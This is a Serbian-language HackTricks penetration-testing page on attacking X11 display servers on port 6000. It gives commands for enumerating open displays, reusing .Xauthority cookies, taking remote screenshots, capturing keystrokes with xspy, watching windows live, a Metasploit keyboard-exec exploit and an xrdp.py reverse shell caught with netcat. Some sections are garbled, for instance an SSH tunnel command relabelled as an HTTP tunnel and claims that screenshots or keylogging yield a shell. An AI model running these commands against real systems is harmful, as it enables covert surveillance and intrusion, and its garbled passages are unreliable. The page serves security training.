hacktricks/network-services-pentesting/6000-pentesting-x11.md
2024-02-10 13:11:20 +00:00

284 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Hakerske vesti u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## Osnovne informacije
**X Window System** (X) je svestrani sistem za prozore koji je široko rasprostranjen na UNIX baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznovrsna i prilagodljiva iskustva unutar X okruženja.
**Podrazumevani port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeracija
Proverite da li postoji **anonimna veza:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalno nabrojavanje
Fajl **`.Xauthority`** u korisničkom folderu se **koristi** od strane **X11 za autorizaciju**. Sa [**ovde**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generisanje 128 bita ključa ("kolačića"), smeštanje u \~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru kao običan tekst! Server proverava da li ima kopiju ovog "kolačića" i ako ima, veza se dozvoljava. Ključ se generiše pomoću DMX.
{% hint style="warning" %}
Da biste **koristili kolačić**, trebate postaviti env var: **`export XAUTHORITY=/putanja/do/.Xauthority`**
{% endhint %}
#### Lokalna sesija enumeracije
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
## Provera konekcije
Da biste proverili da li imate pristup X11 serveru, možete koristiti komandu `xhost`. Ova komanda vam omogućava da kontrolišete pristup X serveru za različite korisnike ili mašine.
```plaintext
$ xhost
access control enabled, only authorized clients can connect
SI:localuser:username
```
Ako vidite poruku "access control enabled, only authorized clients can connect", to znači da je pristup X serveru omogućen samo autorizovanim klijentima.
## X11 Forwarding
X11 Forwarding je tehnika koja vam omogućava da pokrećete grafičke aplikacije sa udaljenog servera i prikazujete ih na lokalnom računaru. Da biste koristili X11 Forwarding, morate imati instaliran X server na lokalnom računaru.
Da biste omogućili X11 Forwarding prilikom SSH konekcije, koristite opciju `-X` ili `-Y` prilikom pozivanja SSH komande:
```plaintext
$ ssh -X username@remote_host
```
## X11 Forwarding preko SSH tunela
Ako želite da koristite X11 Forwarding preko SSH tunela, možete koristiti sledeću komandu:
```plaintext
$ ssh -L 6000:localhost:6000 username@remote_host
```
Ova komanda uspostavlja SSH tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
## X11 Forwarding preko HTTP tunela
Ako želite da koristite X11 Forwarding preko HTTP tunela, možete koristiti sledeću komandu:
```plaintext
$ ssh -L 6000:localhost:6000 -N -f -l username remote_host -p 443
```
Ova komanda uspostavlja HTTP tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keylogovanje
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje tastature.
Primer izlaza:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Snimanje snimaka ekrana
Snimanje snimaka ekrana je tehnika koja se koristi u procesu testiranja penetracije kako bi se prikupile informacije o aktivnostima na ciljnom sistemu. Ova tehnika omogućava hakerima da snime slike ekrana i pregledaju ih kasnije radi analize.
Da biste snimili snimak ekrana, možete koristiti različite alate kao što su `scrot`, `import` ili `gnome-screenshot`. Ovi alati omogućavaju snimanje trenutnog sadržaja ekrana i čuvanje snimka u odabranom formatu.
Na primer, možete koristiti sledeću komandu za snimanje snimka ekrana koristeći `scrot`:
```bash
scrot screenshot.png
```
Ova komanda će snimiti trenutni sadržaj ekrana i sačuvati ga kao `screenshot.png` u trenutnom direktorijumu.
Nakon što snimite snimak ekrana, možete ga pregledati koristeći pregledač slika ili alate za uređivanje slika kao što su `feh`, `eog` ili `gimp`.
Važno je napomenuti da prilikom snimanja snimaka ekrana tokom testiranja penetracije treba biti oprezan kako se ne bi otkrile osetljive informacije ili lični podaci. Takođe, treba se pridržavati zakonskih propisa i etičkih smernica prilikom korišćenja ove tehnike.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Prikaz udaljenog radnog okruženja
Putanja: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Putanja: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Prvo moramo pronaći ID prozora koristeći xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Za **live pregledanje** moramo koristiti
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Dobijanje Shell-a
Da biste dobili pristup Shell-u na ciljnom sistemu, možete koristiti različite tehnike. Evo nekoliko metoda koje možete isprobati:
### 1. X11 Forwarding
X11 Forwarding je tehnika koja vam omogućava da pokrenete aplikacije sa ciljnog sistema na vašem lokalnom sistemu. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Forwarding, prvo morate omogućiti opciju `X11Forwarding` u konfiguracionom fajlu SSH servera na ciljnom sistemu. Zatim, koristite SSH tuneliranje da biste uspostavili sigurnu vezu sa ciljnim sistemom i pokrenuli aplikaciju sa ciljnog sistema na vašem lokalnom sistemu.
### 2. X11 Reverse Shell
X11 Reverse Shell je tehnika koja vam omogućava da dobijete pristup Shell-u na ciljnom sistemu putem X11 protokola. Ova tehnika zahteva da ciljni sistem ima X11 server pokrenut i da je omogućen X11 Forwarding.
Da biste koristili X11 Reverse Shell, prvo morate pokrenuti X11 server na vašem lokalnom sistemu. Zatim, koristite X11 Forwarding da biste uspostavili vezu sa ciljnim sistemom i dobili pristup Shell-u.
### 3. X11 Injection
X11 Injection je tehnika koja vam omogućava da izvršite zlonamerni kod na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Injection, prvo morate pronaći ranjivu aplikaciju koja koristi X11 protokol na ciljnom sistemu. Zatim, iskoristite ranjivost da biste ubacili zlonamerni kod i dobili pristup Shell-u.
### 4. X11 Port Forwarding
X11 Port Forwarding je tehnika koja vam omogućava da usmerite X11 protokol preko SSH tunela. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Port Forwarding, prvo morate uspostaviti SSH tunel sa ciljnim sistemom. Zatim, koristite X11 Port Forwarding da biste usmerili X11 protokol preko SSH tunela i dobili pristup Shell-u.
### 5. X11 Screen Capture
X11 Screen Capture je tehnika koja vam omogućava da snimite sadržaj ekrana ciljnog sistema putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Screen Capture, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje sadržaja ekrana na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimili sadržaj ekrana i dobili pristup Shell-u.
### 6. X11 Keylogger
X11 Keylogger je tehnika koja vam omogućava da snimate tastere koje korisnik pritisne na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Keylogger, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje tastature na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimali tastere i dobili pristup Shell-u.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Drugi način:
**Reverse Shell:** Xrdp takođe omogućava preuzimanje obrnutog školjka pomoću Netcat-a. Unesite sledeću komandu:
```bash
./xrdp.py \<IP:0> no-disp
```
U interfejsu možete videti opciju **R-shell**.
Zatim, pokrenite **Netcat osluškivač** na vašem lokalnom sistemu na portu 5555.
```bash
nc -lvp 5555
```
Zatim, unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da biste dobili shell.
## Reference
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja putem vesti i saznanja u realnom vremenu
**Latest Announcements**\
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>